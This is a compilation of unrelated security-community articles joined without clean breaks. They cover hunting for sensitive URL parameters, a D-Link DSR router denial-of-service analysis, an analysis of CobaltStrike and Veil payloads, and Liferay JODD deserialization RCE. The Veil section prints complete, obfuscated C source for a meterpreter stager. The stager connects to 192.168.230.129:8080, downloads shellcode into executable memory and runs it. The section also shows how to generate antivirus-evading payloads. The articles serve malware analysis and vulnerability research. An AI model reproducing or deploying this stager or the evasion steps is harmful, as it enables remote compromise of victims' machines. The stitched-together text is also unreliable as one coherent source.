在urls.txt文件内放入我们使用“提取含有参数的url”这个脚本筛选后的url
除了参数以外也可以用同样的思路把脚本修改一下去找敏感接口与url跳转参数等
常见敏感接口
<http://xxxxx/xxx/registerSuccess.do>
<http://xxxxx/xxx/getALLUsers>
<http://xxxxx/xxx/deleteuser>
<http://xxxxx/xxx/api/admin/v1/users/all>
常见跳转参数
toUrl=
login_url=
register_url
redirect_url=
load_url=
proxy_url=
file_url=
jump_url=
某次项目中客户都疑惑我怎么找到的接口 | 社区文章 |
# CVE-2020-26567 DSR-250N 远程拒绝服务漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞信息
漏洞编号：CVE-2020-26567
漏洞详情：在路由器DSR-250N、DSR-500N路由器的固件版本3.17之前的固件中存在一个upgradeStatusReboot.cgi文件，未授权访问此文件能造成设备拒绝服务，不过这个漏洞在3.17B中已修复。
接下来我将从两个固件中来分析这个漏洞产生的原因，和其中的漏洞点，并且在分析的过程中，讲解一些分析固件中所要关注的点。
## 0x02 DSR-250N 固件分析
首先我们先获取来进行对DSR-250N固件的分析，我们很简单的就可以从D-Link Support
那里下载到我们要的固件DSR-250N_Ax_FW3.12_WW。
### 手动提取固件
拿到固件的第一步，大部分情况下都是用Binwalk来查看固件所带有的信息。用习惯了自动提取固件，这回，我们来手动分析固件然后提取我们需要的文件系统。
直接打开固件，我们先从固件文件系统最常见的中squashfs文件系统来入手，
以squashfs文件系统为例，我们首先要确定固件的magic签名头，常见的squashfs的头部特征有这些sqsh、hsqs、qshs、shsq、hsqt、tqsh、sqlz。
这里确定了固件的“hsqs”，发现了有两个，那么这个固件有可能是有两个squashfs类型的文件系统。
我们现在已经知道了文件的magic签名头，那么我们怎么确定squashfs文件系统的大小。
使用先将 “hsqs”的 magic 签名头的偏移地址开始 dump 出一段数据（一般 squashfs 文件系统的头部校验不会超过100字节）。然后使用
file 命令查看，可以看到 squashfs 文件的大小了。
然后我们将第一部分的squashfs文件从固件中 dump 出来，并且随后使用 unsquashfs 解开。
成功的解开文件系统中的内容，第一部分的固件解出来了，第二部分提取方式一样，这里就不再做赘述。
### 固件分析
根据漏洞详情，可以直接有效的定位到漏洞点upgradeStatusReboot.cgi，文件位于/www/中，一般来说，cgi文件都是和html的界面放在一起的,因此可以直接去/var/www/查找。
看到文件中的内容，很明显，文件中带有重启reboot的命令
漏洞文件找到了，接下来我们要知道是如何触发这个文件的，cgi文件的作用往往伴随着http的服务，我们应该往固件中web组件去分析，很快，我就在
/sslvpn/bin/ 中找到了 httpd 组件，这是一个在嵌入式设备中最常见的web服务的框架。
并且在文件系统的找到了 sslvpnInit 文件，里面可以看到启动webserver httpd 的命令，并且这个文件还有一个
httpkeepAlive.sh 的后台启动，根据文件命名，这是一个 httpd 的守护进程文件
接着定位 sslvpnInit 的调用方式，可以定位到 /etc/platformInit文件中，而 platformInit
却在系统自启动文件中被执行（/etc/init.d/rcS）
接着在对httpd
的逆向工程中，发现了httpd在启动的过程中，需要加载的文件，刚好的那个upgradeStatusReboot.cgi文件就在/var/www/
文件中，正因为在启动的时候就需要加载这些文件，并且是不需要授权就可以访问，因此可以触发这个文件的命令。那为什么在还有一个 scgi-bin 的路径呢？
这里我们留着放到DSR-500N固件中再分析。
## 0x03 DSR-500 固件分析
DSR-500文件系统的提取方式和DSR-250一样，这里我们也很快的定位漏洞文件
查找一下这个文件有可能在那些文件中调用到，这里我们看到kepler.config 和 httpdKeepAlive.sh 文件。同时还看到了thttpd
文件，根据以往的固件分析，这大概率是DSR-500 设备的 提供设备web服务的组件。
在/etc/ 文件中，根据thttpd
文件，找到了thttpdInit文件，这个文件应该是thttpd的初始文件，文件内容主要的内容如下，可以看到此文件启动了thttpd组件，并且根据上面的kepler.config
和
httpdKeepAlive.sh文件，基本可以确定，可以根据80端口或者https设置的端口进行未授权访问platform.cgi、dbglog.cgi、quickvpn.cgi、upgradeStatus.cgi、upgradeStatusReboot.cgi
这几个文件。
我在我关注的一个文件userInit 中，这边根据Country 设置安全等级，但是我并没有发现这种设置有什么效果。
反而是发现了不同的漏洞触发点，结合上面的设置，在Russia 的固件，可以通过/scgi-bin/来触发漏洞，而其他地区的固件则是通过 /cgi-bin/
来触发。
## 0x04 漏洞复现
## 0x05 总结
这里讲述了如果不使用binwalk 的情况下，如何手动的从固件中提取文件系统，并且对漏洞进行分析。
而且根据搜索引擎的搜索，SCGI是什么？其实这些都是为了更好的取代CGI的功能，SCGI全称Simple Common Gateway
Interface。顾名思义，这个就是简单咯。scgi也是客户端/服务器端形式，客户端发送请求，处理，服务器端响应请求。简而言之，SCGI定义了发送或者响应报文形式的协议。 | 社区文章 |
# 透视CobaltStrike（二）——从CS到免杀框架Veil
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在上一节的的文章了，笔者对CobaltStrike的基本使用和PE样本进行了一个概要的分析。通过上一小节的内容，可了解CobaltStrike的基本原理和代码解密上线方法。在本节中，笔者将会对CobaltStrike其他类型的恶意样本进行一个分析。
由于foreign协议和beacon协议生成的样本解码方式相同，只是后续请求的方式不同，这里就不分开介绍了，只介绍beacon类型的样本。
## HTML Application
CobaltStrike可生成三种类型的hta文件，分别是Executable、Powershell、VBA。
这三类样本的区别在于：
Executable 将会在hta文件中内嵌一个PE文件
Powershell 将会在hta文件中内嵌一段Powershell代码
VBA 将会在hta文件中内嵌一段VBA代码
### Beacon_Executable
该类样本主要是创建一个包含VBScript的hta文件，在VBScript中，有一个硬编码的PE
脚本会在末尾将shellcode写入到evil_pe.exe中并通过Wscript.Shell加载执行
因此可以将这部分的shellcode赋值到010中保存为exe文件：
保存出来的pe是只有14kb，初步估计是上一小节分析过的加载器。
经过分析，可以确定该样本是CobaltStrike的的分段Payload加载器
### Powershell
相比之下，Powershell类型的hta内嵌的shellcode体积就要小很多
该段Powershell代码主要是用于解密并执行中间一段base64编码的代码，中间的代码解码之后如下：
解码之后的Powershell依旧是解码执行base64编码的代码，不同的是，此次解码出来的将会是一个数据流，在后面解压缩执行。
所以可以将该段Powershell指令赋值到ps中执行，得到执行结果。
最后的这段Powershell代码首先会在末尾处通过[IntPtr]::size -eq 8
以判断当前的操作系统是32还是64位。若当前程序是64位，则以32位的模式启动。
这里调试ps1文件，直接将shellcode写入到2.txt中：
写入到1.txt中的内容还是一段Powershell指令，代码如下：
写入之后格式如下，写个简单的python脚本格式化即可
格式化出来之后可以发现这里的shellcode其实就是分段Payload中解密出来用于下载后续Payload的shellcode
### VBA
内嵌VBA代码的hta相比前两类就要复杂一些
VBA类的hta主要是在hta中通过VBScript创建一个excel对象并填充恶意宏代码执行。
代码首先通过CreateBoject 创建了一个 Excel.Application对象并更改其可见属性为False
接着程序创建一个WscriptShell对象用于操作注册表，主要是添加宏的安全属性
准备工作完成之后，程序会给Excel对象添加工作表并且将宏代码填充进去：
最后通过Auto_Open方法调用宏：
所以可以直接在excel中创建一个宏对象，将hat文件中的宏代码拷贝过去调试，记得位置需要选择到当前的文档，而不是应用到所有模板
但是将宏代码插入到excel之前需要先把一些没用的代码给替换掉，原始代码如下，经过简单分析，可以知道每个符号分别应该替换为多少，并且直接将cha(xx)的形式替换为对应的符号，这个过程可以手动替换，也可以直接编写一个python脚本进行替换。
完全替换并格式化后的宏代码应该如下：
简单分析后可得知，宏代码中应该是编码了一段hex数据流，宏代码会将这段数据流读解码后读取到内存并通过rundll32加载执行
加载方式是直接写入内存
所以可以调试到 res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
的时候使用火绒剑查看rundll32.exe的进程信息，找到写入的进程地址，本例中为851968，将其转换为16进制得到d0000
获取到写入的地址之后，可以直接在火绒剑里面右键，查看进程信息，转到线程，双击之后，在内存查看窗口中输入转换后的十六进制地址：d0000查看内存
跳转过来之后可以发现，这片内存的数据就是我们之前分析过的shellcode。由于火绒剑本身不带有内存dump的功能，想要dump这片内存可以使用其他的内存dump工具。
## Payload
除了直接生成恶意样本，CobaltStrike还支持生成各种语言的Payload，包括了C、C#、Java、Python等常见语言
其中C、C#、JAVA、Perl、Python、Ruby、VBA等类型的Payload均为硬编码的shellcode，而这段shellcode之前已经看到过不止一次了。攻击者可以编写任意的加载器，将这段buf加载到内存中执行。
COM组件的sct文件和上面分析的HTML APPlication的VBA相似，均为创建一个excel对象将预定义的宏代码写入进去执行：
同样的，Powershell类型的Payload跟hta类型的Powershell解码出来保持一致：
Powershell_cmd类型的Payload会直接生成一行可执行的Powershell指令，该条指令用于执行一段base64编码的指令
该段base64解码之后还是一段Powershell指令，该段Powershell指令依旧用于执行base64编码后的指令
内层的base64字符串解码之后是一段压缩后的shellcode，程序会通过IO.Compression.GzipStream解压缩这段数据通过IEX加载执行，这和hta的Powershell保持一致。
至此，除Veil之外，CobaltStrike生成的所有Payload都已经看完，通过对各种payload的简单分析可以得知，CobaltStrike看起来可以生成多种类型的payload，但其实本质上，payload所加载的shellcode其实是基本都是cs的downloader。
## Veil
在上一小节介绍了CobaltStrike生成的各类payload，唯独没有介绍Veil，是因为Veil并不是可直接投入使用的语言，而是一款和CobaltStrike配合使用的免杀框架。
CobaltStrike客户端可以生成Veil类型的payload，攻击者将该Payload传入到Veil框架中即可生成具有一定免杀性的样本。
在kali中安装Veil只需要在确保配置的源可用的情况下执行apt -y install veil 即可快速安装
安装之后执行/usr/share/veil/config/setup.sh —force —silent 进行配置：
配置完成，在命令行输入veil指令就可进入到Veil：
Veil主要是包含了Evasion和Ordnance两个免杀工具，其中Evasion是用作文件免杀，Ordnance可生成一段Veil的Shellcode。接下来将以一个简单的例子讲述Veil框架的样本生成：
### Make Veil for Autoit
在命令行键入use
1选择Evasion工具，可查看Evasion支持的一些命令，其中list指令可列举出Evasion包含的所有类型的Payload，use指令可选择Payload，info
指令可查看Payload的相信信息。
键入list命令查看可配置的Payload列表
Veil的Evasion一共包含了41中Payload，其中包括autoit的shellcode注入、meterpreter后门、cs后门、golang版本的meterpreter后门、lua的shellcode注入、perl的shellcode注入、Powershell版本的meterpreter后门、python版
本的meterpreter后门、python的shellcode注入、ruby的meterpreter后门、ruby的shellcode注入等等。
键入info 1 或者info autoit/shellcode_inject/flat.py 可查看第一类Payload的详细信息：
根据回显信息可知，autoit的Payload可直接编译成可执行文件。所以键入use 1 生成一个autoit的Payload试试
键入generate准备生成样本，Evasion提供了5种方式的shellcode，分别是
1. Ordnance(默认)
2. MSFVenom (MSF的Payload)
3. Custom shellcode String (自定义的shellcode)
4. File With Shellcode(十六进制的shellcode文件)
5. Binary file with shellcode(二进制形式的shellcode文件)
这里看看Veil框架自带的样本，于是键入1，选择默认方式生成，接下来程序会让用户选择直接生成原始payload还是生成编码后的payload
而这里的Encoders其实只有一个xor方式
为了对比生成的shellcode情况，这里键入use 6
选择不进行编码，可以看到坏字符为\x00，无编码方式，接下来只设置好lhost和lport之后，键入generate即可生成payload
最后键入文件名，即可在Veil的文件目录下生成对应的exe文件：
### Veil Autoit
通过工具解析这个pe文件，将autoit脚本dump出来如下：
Autoit脚本本身较短，主要就是将先前在Veil控制台生成的那段shellcode注入到calc.exe中
Veil默认生成的shellcode和上一小节cs的shellcode风格类似，但是短小了很多
经过快速的验证可以得知，该段shellcode就是CobaltStrike中用于下载后续payload的shellcode：
回到Veil框架中来，刚才在生成autoit的样本时候，Veil提供了五个选项用于生成不同的shellcode，上面经过试验可知Veil默认的shellcode和CobaltStrike中对应，接下来看看MSFvenom选项的shellcode。
在配置shellcode时候选择 2-MSFVenom，选择msf的shellcode，根据提示键入对应的信息，最后程序会生成一个名为payload1.exe的利用文件：
将msfvenom方式生成的样本dump出来，发现注入方式相同，但是注入的shellcode有所改变
msfvenom的shellcode和CobaltStrike的基本一样，但是感觉要稳定一些
关于MSF的shellcode为什么和CobaltStrike的shellcode如此相似，笔者会在下一篇文章中进行详细的介绍。
由于2 3 4 三个选项都需要payload作为输入，这个暂且不进行分析。从选项5到选项8，均为c语言的meterpreter
### Veil2meterpreter
选择c/meterpreter ，Veil自动配置好了LPORT，需要用户手动键入LHOST和Filename。
配置完成之后，生成payload的时候，Veil会自动创建源代码文件和可执行文件，分别放入compiled文件夹和source文件夹中。
打开source文件夹中的use5.exe.c可看到该payload生成的C语言源码：
格式化之后完整代码如下
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
char* HTzuNvhCcP(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0;i<strlen(s)*2+1;i++)
{
result[i] = s[i/2];
result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
char* OySGHDw(const char *t)
{
int length= strlen(t);
int i;
char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++)
{
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
int xDEADohLQOWAzHd(char PRgNjrnBFiTU[])
{
int ALonTwgUnqVHeP=0;
int i;
for (i=0;i<strlen(PRgNjrnBFiTU);++i)
ALonTwgUnqVHeP += PRgNjrnBFiTU[i];
return (ALonTwgUnqVHeP % 256);
}
void MzItUPnp()
{
WORD pYUkbOS = MAKEWORD((0*4+2), (2*1+0));
WSADATA euQsZxqczZN;
if (WSAStartup(pYUkbOS, &euQsZxqczZN) < 0)
{
WSACleanup();
exit(1);
}
}
char* OZNtVHUJ()
{
char EqafcdrUDe[2322], lchzXusA[2322/2];
strcpy(EqafcdrUDe,"KsdJVurnXCZwEPwiYxMkTesCJnIcBzpzkbpihXhtoIKlPqSowe");
strcpy(lchzXusA,"WbxKqlvywkBPPFOwqjvVDYWNHzeRElhmgzEVedFMzzZIbLNYbN");
return OySGHDw(strcat( EqafcdrUDe, lchzXusA));
}
void MxzrqhwCGD(SOCKET HpKFhGTt)
{
closesocket(HpKFhGTt);
WSACleanup();
exit(1);
}
char* ezkJzCUX()
{
char *FoteTKotVa = HTzuNvhCcP("ntHkjiirjivMQLRcvIHfhkPRwprXXDMVwVCXKmYXzGjTKGqYtB");
return strstr( FoteTKotVa, "p" );
}
char* XqleexaJmujm()
{
srand (time(NULL));
int i;
char jXDHwTYg[] = "NpDPygsCZFz0fIlSQAO2c4xrb6vJYiWXGm1TVw3udUnkKa9EtBMLHjqheR58o7";
char* bMKWmB = malloc(5);
bMKWmB[4] = 0;
while (1<2)
{
for(i=0;i<3;++i)
{
bMKWmB[i] = jXDHwTYg[rand() % (sizeof(jXDHwTYg)-1)];
}
for(i=0;i<sizeof(jXDHwTYg);i++)
{
bMKWmB[3] = jXDHwTYg[i];
if (xDEADohLQOWAzHd(bMKWmB) == 92)
return bMKWmB;
}
} return 0;
}
char* UQVVQa()
{
char qofPBDITdyn[2322] = "QvAaOpKBiWlPPVDkezMgBtoUdUNQHsYSwKTqHAorZOwQkXnYjr";
char *FBvxORWoFORw = strupr(qofPBDITdyn);
return strlwr(FBvxORWoFORw);
}
SOCKET rGEiHkVJYjGbir()
{
struct hostent * Iaedcj;
struct sockaddr_in XIHDAdziTSd;
SOCKET rrlyFfRiscWV;
rrlyFfRiscWV = socket(AF_INET, SOCK_STREAM, 0);
if (rrlyFfRiscWV == INVALID_SOCKET)
MxzrqhwCGD(rrlyFfRiscWV);
Iaedcj = gethostbyname("192.168.230.129");
if (Iaedcj == NULL)
MxzrqhwCGD(rrlyFfRiscWV);
memcpy(&XIHDAdziTSd.sin_addr.s_addr, Iaedcj->h_addr, Iaedcj->h_length);
XIHDAdziTSd.sin_family = AF_INET;
XIHDAdziTSd.sin_port = htons((673*12+4));
if ( connect(rrlyFfRiscWV, (struct sockaddr *)&XIHDAdziTSd, sizeof(XIHDAdziTSd)) )
MxzrqhwCGD(rrlyFfRiscWV);
return rrlyFfRiscWV;
}
int main(int argc, char * argv[])
{
char * EcQtTd;
int i;
char* YGADVFvMCa[5463];
for (i = 0;i < 5463;++i)
YGADVFvMCa[i] = malloc (4182);
MzItUPnp();
char* WCficlPxKiWRYg[264];
SOCKET mpmACD = rGEiHkVJYjGbir();
for (i = 0;i < 264;++i)
WCficlPxKiWRYg[i] = malloc (2850);
char mwKObmvDwOIuJ[200];
sprintf(mwKObmvDwOIuJ, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.230.129:8080\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible;MSIE 6.1;Windows NT\r\n\r\n", XqleexaJmujm());
send(mpmACD,mwKObmvDwOIuJ, strlen( mwKObmvDwOIuJ ),0);
Sleep(300);
EcQtTd = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* AGwAhuoOYGFoNzq[9887];
for (i=0;i<5463;++i)
{
strcpy(YGADVFvMCa[i], OZNtVHUJ());
}
char * umWSfvQxRu = EcQtTd;
int XHuuVPORMriW;
do
{
XHuuVPORMriW = recv(mpmACD, umWSfvQxRu, 1024, 0);
umWSfvQxRu += XHuuVPORMriW;
}while ( XHuuVPORMriW > 0 );
for (i = 0;i < 9887;++i)
AGwAhuoOYGFoNzq[i] = malloc (4361);
for (i=0;i<264;++i)
{
strcpy(WCficlPxKiWRYg[i], ezkJzCUX());
}
closesocket(mpmACD);
WSACleanup();
((void (*)())strstr(EcQtTd, "\r\n\r\n") + 4)();
for (i=0;i<9887;++i)
{
strcpy(AGwAhuoOYGFoNzq[i], UQVVQa());
}
return 0;
}
由于 6 7 8三个选项只是请求协议不同，加载方式还是大同小异的，这里就不分别对后面的进行生成和分析了。
不过关于Veil生成的meterpreter还是比较有意思的，本文篇幅至此，若是下一篇有机会的话将其完整分析补上。 | 社区文章 |
**Author：Longofo@Knownsec 404 Team**
**Time: March 27, 2020**
**Chinese version:<https://paper.seebug.org/1162/>**
A vulnerability on [Liferay Portal JSON Web Service
RCE](https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html)
was previously posted on CODE WHITE. At first, my friends were dealing with
this vulnerability, and I went to see it later. Liferay Portal uses [Flexjson
library](http://flexjson.sourceforge.net/) for JSON Web Service processing in
6.1 and 6.2 versions, and replaced it with [Jodd Json](https: /
/jodd.org/json/) after version 7.
**In summary, the vulnerability is: Liferay Portal provides Json Web Service
service. For some endpoints that can be called, if a method provides Object
parameter type, then we can construct an exploitable malicious class that
conforms to Java Beans and pass the constructed json deserialization string,
Liferay will automatically call the setter method of the malicious class and
the default constructor when deserializing**. However, there are still some
details, and I feels quite interesting. In this article, the analysis of
Liferay using JODD deserialization.
#### JODD Serialization And Deserialization
Refer to the [Official User Manual](https://jodd.org/json/), first look at the
direct serialization and deserialization of JODD:
TestObject.java:
package com.longofo;
import java.util.HashMap;
public class TestObject {
private String name;
private Object object;
private HashMap<String, String> hashMap;
public TestObject() {
System.out.println("TestObject default constractor call");
}
public String getName() {
System.out.println("TestObject getName call");
return name;
}
public void setName(String name) {
System.out.println("TestObject setName call");
this.name = name;
}
public Object getObject() {
System.out.println("TestObject getObject call");
return object;
}
public void setObject(Object object) {
System.out.println("TestObject setObject call");
this.object = object;
}
public HashMap<String, String> getHashMap() {
System.out.println("TestObject getHashMap call");
return hashMap;
}
public void setHashMap(HashMap<String, String> hashMap) {
System.out.println("TestObject setHashMap call");
this.hashMap = hashMap;
}
@Override
public String toString() {
return "TestObject{" +
"name='" + name + '\'' +
", object=" + object +
", hashMap=" + hashMap +
'}';
}
}
TestObject1.java
package com.longofo;
public class TestObject1 {
private String jndiName;
public TestObject1() {
System.out.println("TestObject1 default constractor call");
}
public String getJndiName() {
System.out.println("TestObject1 getJndiName call");
return jndiName;
}
public void setJndiName(String jndiName) {
System.out.println("TestObject1 setJndiName call");
this.jndiName = jndiName;
// Context context = new InitialContext();
// context.lookup(jndiName);
}
}
Test.java
package com.longofo;
import jodd.json.JsonParser;
import jodd.json.JsonSerializer;
import java.util.HashMap;
public class Test {
public static void main(String[] args) {
System.out.println("test common usage");
test1Common();
System.out.println();
System.out.println();
System.out.println("test unsecurity usage");
test2Unsecurity();
}
public static void test1Common() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
System.out.println(dtestObject);
}
public static void test2Unsecurity() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
System.out.println(dtestObject);
}
}
Output:
test common usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}
---------------------------------------- TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}
test unsecurity usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}
---------------------------------------- TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}
In Test.java, two ways are used. First one is the commonly used way. The root
type is specified when deserializing. The second official does not recommend
this，security issues are exist. Assume up this application provides a place to
receive JODD Json, and uses the second way, you can deserialize any type
specified。The Liferay vulnerability is not caused by this reason, because it
does not use `setClassMetadataName("class")`.
#### Liferay's Packaging For JODD
Liferay does not directly use JODD for processing, but repackages some
functions of JODD. The code is not long, so we will use JODD separately to
analyze Liferay's packaging of JsonSerializer and JsonParser.
##### JSONSerializerImpl
Liferay's wrapper for JODD JsonSerializer is the
`com.liferay.portal.json.JSONSerializerImpl` class:
public class JSONSerializerImpl implements JSONSerializer {
private final JsonSerializer _jsonSerializer;//JODD's JsonSerializer was finally handed over to JODD's JsonSerializer for processing, but it wrapped some additional settings
public JSONSerializerImpl() {
if (JavaDetector.isIBM()) {//Judging the JDK
SystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class
}
this._jsonSerializer = new JsonSerializer();
}
public JSONSerializerImpl exclude(String... fields) {
this._jsonSerializer.exclude(fields);//Exclude a field from being serialized
return this;
}
public JSONSerializerImpl include(String... fields) {
this._jsonSerializer.include(fields);//Include a field to serialize
return this;
}
public String serialize(Object target) {
return this._jsonSerializer.serialize(target);//Call JODD's JsonSerializer for serialization
}
public String serializeDeep(Object target) {
JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//After setting deep, you can serialize any type of field, including types such as collections
return jsonSerializer.serialize(target);
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//Setting the converter is similar to setting the global converter below, but you can pass in a custom converter here (for example, the data field of a class is formatted as 03/27/2020, and it is converted to 2020-03- when serialized 27)
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
static {
//Global registration. For all Array, Object, and Long data, they are converted separately during serialization.
JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
}
private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {
private LongToStringTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, Long value) {
jsonContext.writeString(String.valueOf(value));
}
}
private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {
private JSONObjectTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
jsonContext.write(jsonObject.toString());
}
}
private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {
private JSONArrayTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
jsonContext.write(jsonArray.toString());
}
}
}
It can be seen that some functions of the JODD JsonSerializer are set during
serialization.
##### JSONDeserializerImpl
Liferay's wrapper for JODD JsonParser is the
`com.liferay.portal.json.JSONDeserializerImpl` class:
public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {
private final JsonParser _jsonDeserializer;//JsonParser, the deserialization was finally handed over to JsonParser by JODD for processing. JSONDeserializerImpl wraps some additional settings
public JSONDeserializerImpl() {
if (JavaDetector.isIBM()) {//Judging the JDK
SystemUtil.disableUnsafeUsage();//Related to the use of the Unsafe class
}
this._jsonDeserializer = new PortalJsonParser();
}
public T deserialize(String input) {
return this._jsonDeserializer.parse(input);//Call JDD Parson of JODD for deserialization
}
public T deserialize(String input, Class<T> targetType) {
return this._jsonDeserializer.parse(input, targetType);//Call JDD Parson of JODD for deserialization, you can specify the root type (rootType)
}
public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//Converter used when deserializing
ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
this._jsonDeserializer.use(field, valueConverter);
return this;
}
public JSONDeserializer<T> use(String path, Class<?> clazz) {
this._jsonDeserializer.map(path, clazz);//Specify a specific type for a field, for example, filed is a type of interface or object in a class, and specific when deserializing
return this;
}
}
It can be seen that some functions of the JODD JsonParser are also set when
deserializing.
#### Liferay Vulnerability Analysis
Liferay provides hundreds of webservices that can be called in the
`/api/jsonws` API. The servlet responsible for processing the API is also
directly configured in web.xml:
look at this methods:
Seeing this, something occur.We can pass parameters for method calls. There
are p_auth for verification, but deserialization is before verification, so
that value does not works for exploit. According to the analysis of CODE
WHITE, there are method parameters with parameter type Object, so guess that
we can pass in any type of class. We can first debug the normal packet capture
call to debug, and here does not write the normal call debugging process,
simply look at the post parameters:
cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true
In general, **Liferay first finds the method corresponding
to`/announcementsdelivery/update-delivery`-> other post parameters are method
parameters-> when each parameter object type is consistent with the target
method parameter type-> Restore the parameter object-> call this method with
reflection**. However, there is no type specification for packet capture,
because most types are String, long, int, List, map and others，JODD will
automatically handle it when deserializing. In this section，how to specify a
specific type?
The author mentioned in the article that Liferay Portal 7 can only specified
rootType for invocation. This is also the case from the above `Liferay's JODD
JSONDeserializerImpl packaging`. If you want to restore a specific object when
a method parameter is of type Object,maybe it will parse the data, obtain the
specified type, and then call the parse (path, class) method of JODD using
specific type to restore it ;maybe Liferay not do. However, it can be seen
from the author's analysis that Liferay did. The author looked up the call
graph of `jodd.json.Parser#rootType` (envy such a tool):
looking up this, the author found a place where a root type could be
specified. In
`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl`
call the
`com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString,
parameterType )`, looseDeserialize calls JSONSerializerImpl, and
JSONSerializerImpl calls `JODD's JsonParse.parse`.
And the call on
`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl`
is the process of Liferay parsing the Web Service parameters. Its upper level
`JSONWebServiceActionImpl#_prepareParameters(Class <?>)`, The
JSONWebServiceActionImpl class has a `_jsonWebServiceActionParameters`
attribute:
This property also holds a `JSONWebServiceActionParametersMap`. In its method,
when the parameter starts with`+`, its put method splits the passed parameters
with`:`, before `:` is parameter name，after `:` is type name:
The put parsing operation is completed in
`com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction #
_executeStatement`:
Through the above analysis and author's article, we can know the following
points:
* Liferay allows us to call web service methods via `/api/jsonws/xxx`
* The parameter can start with `+`, use `:` to specify the parameter type
* JODD JsonParse will call the class's default constructor and the setter method corresponding to the field
So we need to find the class that has malicious operations in the setter
method or the default constructor. Look at the exploitation chain that
marshalsec has provided,we can directly find the inherited exploitation chain.
